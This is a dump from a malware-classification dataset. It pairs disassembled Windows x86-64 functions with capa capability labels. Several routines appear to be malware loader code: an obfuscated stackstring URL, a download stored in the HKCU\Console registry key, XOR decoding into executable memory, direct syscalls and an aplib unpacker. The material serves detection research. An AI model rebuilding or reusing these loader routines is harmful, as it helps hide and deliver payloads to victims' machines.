joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400ba5f0
Capabilities:
Authenticate hmac
Encode data using xor

Disassembly:
push rbx
push rbp
push r12
push r14
push r15
sub rsp, 0x20
mov rbp, rcx
mov r12, r9
mov rcx, r8
mov r14, rdx
call fcn.140076fe0
mov r8d, dword [rbp + 0x18]
mov ecx, dword [rbp + 0x20]
add rcx, 0x18
mov r15d, eax
lea r9d, [r8 + r8]
add rcx, r9
call qword [section..data]
mov rbx, rax
test rax, rax
je 0x1400ba796
lea rcx, [rax + 0x18]
mov qword [rax], rbp
mov qword [rax + 8], rcx
mov eax, dword [rbp + 0x18]
add rax, rcx
mov qword [rsp + 0x58], rsi
mov qword [rbx + 0x10], rax
mov qword [rsp + 0x60], rdi
cmp r15d, dword [rbp + 0x1c]
jbe 0x1400ba680
call qword [rbp]
mov rcx, qword [rbx + 8]
mov r8d, r15d
mov rdx, r14
call qword [rbp + reloc.WS2_32.dll_htonl]
mov r14d, dword [rbp + 0x18]
add r14, qword [rbx + 0x10]
mov rdx, qword [rbx + 8]
mov rcx, r14
call qword [rbp + reloc.WS2_32.dll_recv]
mov r15d, dword [rbp + 0x20]
mov rcx, qword [rbx + 8]
call qword [rbp]
mov rcx, qword [rbx + 0x10]
call qword [rbp]
xor esi, esi
test r15, r15
je 0x1400ba6e2
mov rsi, r15
nop dword [rax + rax]
movzx eax, byte [r14]
lea rdx, [rsp + 0x50]
xor al, 0x36
mov r8d, 1
mov byte [rsp + 0x50], al
mov rcx, qword [rbx + 8]
call qword [rbp + reloc.WS2_32.dll_htonl]
movzx eax, byte [r14]
lea rdx, [rsp + 0x50]
xor al, 0x5c
lea r14, [r14 + 1]
mov byte [rsp + 0x50], al
mov r8d, 1
mov rcx, qword [rbx + 0x10]
call qword [rbp + reloc.WS2_32.dll_htonl]
sub r15, 1
jne 0x1400ba6a0
mov eax, dword [rbp + 0x1c]
cmp rsi, rax
jae 0x1400ba723
nop word [rax + rax]
mov rcx, qword [rbx + 8]
lea rdx, [0x1400ee789]
mov r8d, 1
call qword [rbp + reloc.WS2_32.dll_htonl]
mov rcx, qword [rbx + 0x10]
lea rdx, [0x1400ee78a]
mov r8d, 1
call qword [rbp + reloc.WS2_32.dll_htonl]
mov eax, dword [rbp + 0x1c]
inc rsi
cmp rsi, rax
jb 0x1400ba6f0
mov rcx, qword [rsp + 0x70]
call fcn.140076fe0
mov r9, qword [rbx]
mov r8d, eax
mov rcx, qword [rbx + 8]
mov rdx, r12
call qword [r9 + reloc.WS2_32.dll_htonl]
mov rdi, qword [rsp + 0x78]
mov rsi, qword [rbx]
test rdi, rdi
jne 0x1400ba752
mov edi, dword [rsi + 0x18]
add rdi, qword [rbx + 0x10]
mov rdx, qword [rbx + 8]
mov rcx, rdi
call qword [rsi + reloc.WS2_32.dll_recv]
mov r8d, dword [rsi + 0x20]
mov rdx, rdi
mov rcx, qword [rbx + 0x10]
call qword [rsi + reloc.WS2_32.dll_htonl]
mov rdx, qword [rbx + 0x10]
mov rcx, rdi
call qword [rsi + reloc.WS2_32.dll_recv]
mov rcx, rbx
call qword [fcn.1400bca22]
mov rdi, qword [rsp + 0x60]
xor eax, eax
mov rsi, qword [rsp + 0x58]
add rsp, 0x20
pop r15
pop r14
pop r12
pop rbp
pop rbx
ret
mov eax, reloc.WLDAP32.dll_Ordinal_27
add rsp, 0x20
pop r15
pop r14
pop r12
pop rbp
pop rbx
ret
Function at 0x1400ba8c0
Capabilities:
Create new key via cryptacquirecontext
Hash data via wincrypt
Initialize hashing via wincrypt

Disassembly:
push rbp
push rsi
push rdi
sub rsp, 0x50
mov rax, qword [0x140108718]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov rbp, r8
mov dword [rsp + 0x20], 0xf0000040
mov rsi, rdx
mov rdi, rcx
xor r8d, r8d
lea rcx, [rsp + 0x38]
xor edx, edx
mov r9d, Ordinal_26
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
test eax, eax
jne 0x1400ba90c
mov eax, reloc.WLDAP32.dll_Ordinal_27
jmp 0x1400ba9de
mov rcx, qword [rsp + 0x38]
lea rax, [rsp + 0x40]
xor r9d, r9d
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov edx, 0x800c
call qword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
jne 0x1400ba950
mov rcx, qword [rsp + 0x38]
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov eax, 2
mov qword [rsp + 0x38], 0
jmp 0x1400ba9de
mov rcx, rbp
call fcn.140076fe0
mov rcx, qword [rsp + 0x40]
xor r9d, r9d
mov r8d, eax
mov rdx, rsi
call qword [sym.imp.ADVAPI32.dll_CryptHashData]
mov rcx, qword [rsp + 0x40]
lea r9, [rsp + 0x30]
xor r8d, r8d
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x20], 0
lea edx, [r8 + 2]
call qword [sym.imp.ADVAPI32.dll_CryptGetHashParam]
cmp dword [rsp + 0x30], 0x20
jne 0x1400ba9ba
mov rcx, qword [rsp + 0x40]
lea r9, [rsp + 0x30]
mov r8, rdi
mov dword [rsp + 0x20], 0
mov edx, 2
call qword [sym.imp.ADVAPI32.dll_CryptGetHashParam]
mov rcx, qword [rsp + 0x40]
test rcx, rcx
je 0x1400ba9ca
call qword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
mov rcx, qword [rsp + 0x38]
test rcx, rcx
je 0x1400ba9dc
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
xor eax, eax
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.1400bb950
add rsp, 0x50
pop rdi
pop rsi
pop rbp
ret

Function at 0x1400bb790
Capabilities:
Encode data using xor

Disassembly:
mov r10, rcx
test rdx, rdx
je 0x1400bb7f5
nop dword [rax + rax]
movzx r8d, byte [r10]
lea r10, [r10 + 1]
movzx eax, r8b
movzx r9d, r8b
shr r9b, 1
and al, 0xfe
not r9b
movzx eax, al
xor r9b, r8b
shr r9b, 1
xor r9b, r8b
shr r9b, 1
xor r9b, r8b
shr r9b, 1
xor r9b, r8b
shr r9b, 1
xor r9b, r8b
shr r9b, 1
xor r9b, r8b
or r8b, 1
test r9b, 2
movzx ecx, r8b
cmove ecx, eax
mov byte [r10 - 1], cl
sub rdx, 1
jne 0x1400bb7a0
ret

Function at 0x1400bc770
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400bc7ba
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400bc7ba
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400bc7ba
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400bc7ba
cmp dword [rcx + 0x84], 0xe
jbe 0x1400bc7ba
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400bc7bc
xor al, al
add rsp, 0x28
ret
Function at 0x140001d38
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001d82
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001d82
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001d82
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001d82
cmp dword [rcx + 0x84], 0xe
jbe 0x140001d82
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001d84
xor al, al
add rsp, 0x28
ret
Function at 0x140003c90
Capabilities:
Parse pe header

Disassembly:
push rbx
sub rsp, 0x40
mov qword [rsp + 0x58], rdx
mov rbx, r8
xor edx, edx
test rcx, rcx
je 0x140003cc4
cmp word [rcx], 0x5a4d
jne 0x140003cc4
movsxd rax, dword [rcx + 0x3c]
cmp eax, 0x400
jg 0x140003cc4
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140003cc4
mov edx, dword [rcx + 0x28]
add rdx, qword [rsp + 0x58]
mov rcx, rbx
call fcn.140003bd0
test eax, eax
jne 0x140003ce0
xor eax, eax
add rsp, 0x40
pop rbx
ret
mov rcx, rbx
call fcn.140003c40
test rax, rax
je 0x140003cd5
lea rdx, [rax + 0x10]
lea rax, [rsp + 0x38]
mov rcx, qword [rbx]
mov r9d, 8
mov qword [rsp + 0x20], rax
lea r8, [rsp + 0x58]
mov qword [rsp + 0x38], 0
call fcn.140004492
not eax
shr eax, 0x1f
add rsp, 0x40
pop rbx
ret

Function at 0x140004390
Capabilities:
Execute syscall

Disassembly:
pop rax
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], r9
sub rsp, 0x28
mov rcx, r10
call fcn.140004330
add rsp, 0x28
mov rcx, qword [rsp + 8]
mov rdx, qword [rsp + 0x10]
mov r8, qword [rsp + 0x18]
mov r9, qword [rsp + 0x20]
mov r10, rcx
syscall
ret

Function at 0x1400047f4
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
mov rax, qword [0x14055f6b8]
xor ebx, ebx
add rax, 0x18
mov r12, rcx
mov ecx, dword [0x14055f6b4]
mov rsi, rdx
mov rdi, r8
cmp ebx, ecx
jge 0x140004842
mov rdx, qword [rax]
cmp r12, rdx
jb 0x14000483a
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp r12, rdx
jb 0x140004929
inc ebx
add rax, 0x28
jmp 0x14000481a
mov rcx, r12
call fcn.140005021
mov rbp, rax
test rax, rax
jne 0x140004861
mov rdx, r12
lea rcx, str.Address__p_has_no_image_section
call fcn.140004790
movsxd rbx, ebx
mov rax, qword [0x14055f6b8]
xor edx, edx
imul rbx, rbx, 0x28
add rax, rbx
mov dword [rax], edx
mov qword [rax + 0x20], rbp
call fcn.1400050cf
mov edx, dword [rbp + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x14055f6b8]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
jne 0x1400048c3
mov rax, qword [0x14055f6b8]
mov edx, dword [rbp + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.140004790
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x140004923
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x140004923
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x14055f6b8]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x140004923
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.140004790
inc dword [0x14055f6b4]
mov ecx, edi
mov rdi, r12
rep movsb byte [rdi], byte [rsi]
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
Function at 0x140004d50
Capabilities:
Get thread local storage value

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
lea rdi, [0x14055f720]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x14055f700]
test rbx, rbx
je 0x140004d9c
mov ecx, dword [rbx]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
test rsi, rsi
je 0x140004d96
test eax, eax
jne 0x140004d96
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
jmp 0x140004d6e
mov rcx, rdi
add rsp, 0x20
pop rbx
pop rsi
pop rdi
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x140004f50
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x140004f73
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
jne 0x140004f73
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret

Function at 0x140004f74
Capabilities:
Enumerate pe sections

Disassembly:
xor r8d, r8d
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
movzx r9d, word [rcx + 6]
lea rax, [rcx + rax + 0x18]
cmp r8d, r9d
jae 0x140004fae
mov r10d, dword [rax + 0xc]
mov rcx, r10
cmp rdx, r10
jb 0x140004fa5
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x140004fb0
inc r8d
add rax, 0x28
jmp 0x140004f8c
xor eax, eax
ret

Function at 0x140005021
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r9, qword [0x14055b7b0]
mov r8, rcx
mov rcx, r9
call fcn.140004f50
test eax, eax
je 0x14000504d
mov rdx, r8
mov rcx, r9
sub rdx, r9
add rsp, 0x28
jmp fcn.140004f74
xor eax, eax
add rsp, 0x28
ret
Function at 0x140001000
Capabilities:
Allocate or change rwx memory
Encode data using xor
Query or enumerate registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x70
mov rax, qword [0x14000b058]
xor rax, rsp
mov qword [rsp + 0x60], rax
mov rax, qword [0x140009550]
lea rdx, str.Console
mov r9d, 0x20019
mov qword [rsp + 0x50], rax
movzx eax, word [0x140009558]
xor r8d, r8d
mov word [rsp + 0x58], ax
lea rax, [rsp + 0x38]
mov rcx, 0xffffffff80000001
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov rcx, qword [rsp + 0x38]
lea rax, [rsp + 0x30]
xor ebp, ebp
lea rdx, [rsp + 0x50]
mov qword [rsp + 0x28], rax
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], rbp
mov dword [rsp + 0x30], ebp
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov ecx, dword [rsp + 0x30]
call fcn.14000146c
mov rcx, qword [rsp + 0x38]
lea rdx, [rsp + 0x50]
mov rdi, rax
lea rax, [rsp + 0x30]
xor r9d, r9d
mov qword [rsp + 0x28], rax
xor r8d, r8d
mov qword [rsp + 0x20], rdi
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov ecx, dword [rsp + 0x30]
call fcn.14000146c
mov ebx, dword [rsp + 0x30]
mov rsi, rax
test ebx, ebx
je 0x1400010f7
mov r8, rax
sub rdi, rax
mov rdx, rax
neg r8
nop
movzx eax, byte [rdi + rdx]
inc rdx
mov byte [rdx - 1], al
mov ebx, dword [rsp + 0x30]
lea rcx, [r8 + rdx]
cmp rcx, rbx
jb 0x1400010e0
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
mov r11d, ebp
mov r8, rbp
test ebx, ebx
je 0x140001172
mov r9, rsi
lea r10, str.hrsgdsb
movsx ecx, byte [r8 + r10]
inc r8
mov eax, 0x4ac525d3
imul ecx
sar edx, 9
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 0x92492493
imul edx, edx, 0x6d9
sub ecx, edx
imul r11d
add cl, 0x4f
xor byte [r9], cl
add edx, r11d
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 7
cmp r11d, edx
cmove r8, rbp
inc r11d
inc r9
cmp r11d, ebx
jb 0x140001121
mov r9d, 0x40
mov r8d, 0x3000
mov rdx, rbx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rbx
mov rdx, rsi
mov rcx, rax
mov rdi, rax
call fcn.1400053b0
lea r9, [rsp + 0x48]
lea rcx, [rsp + 0x40]
xor r8d, r8d
mov rdx, rdi
mov qword [rsp + 0x40], rbp
call qword [sym.imp.KERNEL32.dll_InitOnceExecuteOnce]
mov rcx, qword [rsp + 0x60]
xor rcx, rsp
call fcn.140001490
lea r11, [rsp + 0x70]
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret
Function at 0x1400011e0
Capabilities:
Create http request
Read data from internet
Receive data
Set registry value

Disassembly:
push rbx
push rdi
push r12
push r13
sub rsp, 0x58
mov rbx, rcx
mov ecx, 0x64000
call fcn.14000146c
lea rcx, str.RookIE_1.0
xor r13d, r13d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rdi, rax
mov dword [rsp + 0x88], 1
mov dword [rsp + 0x20], r13d
call qword [sym.imp.WININET.dll_InternetOpenW]
mov r12, rax
test rax, rax
je 0x1400013b1
xor r9d, r9d
xor r8d, r8d
mov rdx, rbx
mov rcx, rax
mov qword [rsp + 0x28], r13
mov qword [rsp + 0x80], rbp
mov dword [rsp + 0x20], 0x4000000
call qword [sym.imp.WININET.dll_InternetOpenUrlW]
mov rbp, rax
test rax, rax
je 0x1400013a0
mov qword [rsp + 0x40], r13
lea rax, [rsp + 0x90]
lea rdx, str.Console
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], r13
xor r9d, r9d
xor r8d, r8d
mov rcx, 0xffffffff80000001
mov dword [rsp + 0x28], 0x20006
mov dword [rsp + 0x20], r13d
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x140001397
mov ebx, r13d
mov qword [rsp + 0x50], rsi
mov esi, r13d
cmp dword [rsp + 0x88], ebx
jbe 0x14000135d
mov r8d, 0x64000
mov edx, ebx
lea r9, [rsp + 0x88]
sub r8d, ebx
add rdx, rdi
mov rcx, rbp
call qword [sym.imp.WININET.dll_InternetReadFile]
mov r11d, dword [rsp + 0x88]
test r11d, r11d
je 0x140001330
add ebx, r11d
cmp ebx, 0x64000
jne 0x14000132b
mov rcx, qword [rsp + 0x90]
lea rdx, [0x140009590]
mov r9d, 3
xor r8d, r8d
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rdi
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov r11d, dword [rsp + 0x88]
add esi, ebx
mov ebx, r13d
test r11d, r11d
jne 0x1400012c0
test ebx, ebx
je 0x14000135d
mov rcx, qword [rsp + 0x90]
lea rdx, [0x140009590]
mov r9d, 3
xor r8d, r8d
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rdi
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
add esi, ebx
mov rcx, qword [rsp + 0x90]
lea rdx, [0x140009590]
mov r9d, 3
xor r8d, r8d
mov dword [rsp + 0x28], esi
mov qword [rsp + 0x20], rdi
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x90]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rsi, qword [rsp + 0x50]
mov rcx, rbp
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r12
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rbp, qword [rsp + 0x80]
mov rcx, rdi
call fcn.1400014b0
add rsp, 0x58
pop r13
pop r12
pop rdi
pop rbx
ret

Function at 0x1400013d0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub rsp, 0x68
mov rax, qword [0x14000b058]
xor rax, rsp
mov qword [rsp + 0x50], rax
mov eax, 0x6e
lea rcx, [rsp + 0x20]
mov dword [rsp + 0x20], 0x740068
mov word [rsp + 0x38], ax
mov eax, 0x67
mov dword [rsp + 0x24], 0x700074
mov word [rsp + 0x46], ax
xor eax, eax
mov dword [rsp + 0x28], 0x2f003a
mov dword [rsp + 0x2c], 0x74002f
mov dword [rsp + 0x30], 0x340034
mov dword [rsp + 0x34], 0x6f002e
mov word [rsp + 0x48], ax
mov dword [rsp + 0x3a], 0x2f0065
mov dword [rsp + 0x3e], 0x2e0033
mov dword [rsp + 0x42], 0x70006a
call fcn.1400011e0
call section..text
xor eax, eax
mov rcx, qword [rsp + 0x50]
xor rcx, rsp
call fcn.140001490
add rsp, 0x68
ret
Function at 0x1400017ff
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x14000b058]
jne 0x1400014aa
rol rcx, 0x10
test cx, 0xffff
jne 0x1400014a6
repz ret
ror rcx, 0x10
jmp 0x140001758
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x14000c040]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov rax, qword [0x14000c138]
mov qword [rsp + 0x58], rax
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x1400017dd
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x14000c040]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x1400017ff
mov rax, qword [rsp + 0x88]
mov qword [0x14000c138], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x14000c0d8], rax
mov rax, qword [0x14000c138]
mov qword [0x14000bfb0], rax
mov rax, qword [rsp + 0x90]
mov qword [0x14000c0c0], rax
mov dword [0x14000bfa0], 0xc0000409
mov dword [0x14000bfa4], 1
mov rax, qword [0x14000b058]
mov qword [rsp + 0x68], rax
mov rax, qword [0x14000b060]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x14000c038], eax
mov ecx, 1
call fcn.14000348c
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x1400072c8]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x14000c038], 0
jne 0x140001886
mov ecx, 1
call fcn.14000348c
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret

Function at 0x140001c68
Capabilities:
Terminate process

Disassembly:
xor r8d, r8d
xor edx, edx
jmp fcn.140001ad8
Function at 0x140003ea8
Capabilities:
Link many functions at runtime

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x50
mov rax, qword [0x14000b058]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov ebp, r8d
mov r14, rdx
mov r13, rcx
call fcn.140002b98
xor ebx, ebx
cmp qword [0x14000cf30], rbx
mov rdi, rax
jne 0x140003fbb
lea rcx, str.USER32.DLL
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rsi, rax
test rax, rax
je 0x140004092
lea rdx, str.MessageBoxW
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x140004092
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetActiveWindow
mov rcx, rsi
mov qword [0x14000cf30], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetLastActivePopup
mov rcx, rsi
mov qword [0x14000cf38], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetUserObjectInformationW
mov rcx, rsi
mov qword [0x14000cf40], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov r11, rax
mov qword [0x14000cf50], rax
test rax, rax
je 0x140003fb2
lea rdx, str.GetProcessWindowStation
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov qword [0x14000cf48], rax
jmp 0x140003fc2
mov rax, qword [0x14000cf48]
jmp 0x140003fc9
mov rax, qword [0x14000cf48]
mov r11, qword [0x14000cf50]
cmp rax, rdi
je 0x140004030
cmp r11, rdi
je 0x140004030
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov rcx, qword [0x14000cf50]
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov r12, rax
test rsi, rsi
je 0x140004030
test rax, rax
je 0x140004030
call rsi
test rax, rax
je 0x14000402a
lea rcx, [rsp + 0x30]
mov r9d, 0xc
lea r8, [rsp + 0x38]
mov qword [rsp + 0x20], rcx
lea edx, [r9 - 0xb]
mov rcx, rax
call r12
test eax, eax
je 0x14000402a
test byte [rsp + 0x40], 1
jne 0x140004030
bts ebp, 0x15
jmp 0x140004070
mov rcx, qword [0x14000cf38]
cmp rcx, rdi
je 0x140004070
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x140004070
call rax
mov rbx, rax
test rax, rax
je 0x140004070
mov rcx, qword [0x14000cf40]
cmp rcx, rdi
je 0x140004070
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x140004070
mov rcx, rbx
call rax
mov rbx, rax
mov rcx, qword [0x14000cf30]
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x140004092
mov r9d, ebp
mov r8, r14
mov rdx, r13
mov rcx, rbx
call rax
jmp 0x140004094
xor eax, eax
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.140001490
add rsp, 0x50
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x140004000
Capabilities:
Encode data using xor

Disassembly:
xor r10, r10
mov rsi, rsp
mov r10b, 0x59
fcmovu st(0), st(3)
and si, 0xfb70
fxsave64 [rsi]
movabs r13, 0xaa3cc9183d80798d
add rsi, 8
mov r14, qword [rsi]
dec r10
xor qword [r14 + r10*8 + 0x29], r13
test r10, r10
jne 0x140004025
ror byte [rax + 0x76], 0x75
xchg ecx, eax
sub dword [rbp + 0x13], esi
insd dword [rdi], dx
jo 0x14000403f
mov bh, 0xcb
add esp, ecx
iretd
Function at 0x9ea0b0
Capabilities:
Decompress data using aplib

Disassembly:
call 0x9ea237
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, pe_nt_image_headers64
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x9ea0e1
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x9ea0c7
add dl, dl
jne 0x9ea0ee
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x9ea14e
xor eax, eax
add dl, dl
jne 0x9ea0fd
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x9ea205
add dl, dl
jne 0x9ea10e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x9ea11b
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x9ea128
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x9ea135
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x9ea142
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x9ea0d6
mov eax, 1
add dl, dl
jne 0x9ea15e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x9ea16b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x9ea153
sub eax, ebx
mov ebx, 1
jne 0x9ea1a4
mov ecx, 1
add dl, dl
jne 0x9ea186
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x9ea193
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x9ea17b
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x9ea0d6
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x9ea1c0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x9ea1cd
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x9ea1b5
cmp eax, 0x7d00
jae 0x9ea1f3
cmp eax, 0x500
jb 0x9ea1ee
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x9ea0d6
cmp eax, 0x7f
ja 0x9ea1f6
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x9ea0d6
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x9ea22a
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x9ea0d6
pop r10
sub rdi, qword [r10 + 0x20]
